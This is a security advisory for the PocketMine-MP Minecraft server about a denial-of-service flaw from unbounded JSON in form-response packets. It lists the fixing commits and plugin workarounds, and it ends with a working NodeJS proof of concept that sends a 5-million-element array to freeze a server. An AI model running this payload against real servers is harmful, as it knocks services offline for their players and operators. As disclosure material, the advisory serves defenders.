GHSA-788v-5pfp-93ff

### Impact

The server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

### Patches The issue was fixed in two parts: - cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse - f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

### Workarounds This issue can be worked around in a plugin using `DataPacketReceiveEvent` by: - checking the max size of the `formData` field - making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2.

### PoC

1. Join a PocketMine-MP server as a regular player (no special permissions needed). 2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:

* Any non-existent `formId` * `formData` containing a massive JSON array (e.g., 10+ MB payload). 3. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

```javascript import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1'; const port = 19132; const username = 'Test';

const client = createClient({ host, port, username, offline: true });

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => { console.log('[*] Connected & spawned. Sending malicious packet...');

client.write('modal_form_response', { formId: 9999, // Form inexistant formData: hugePayload // JSON énorme });

console.log('[*] Packet sent. The server should start freezing shortly.'); }); ```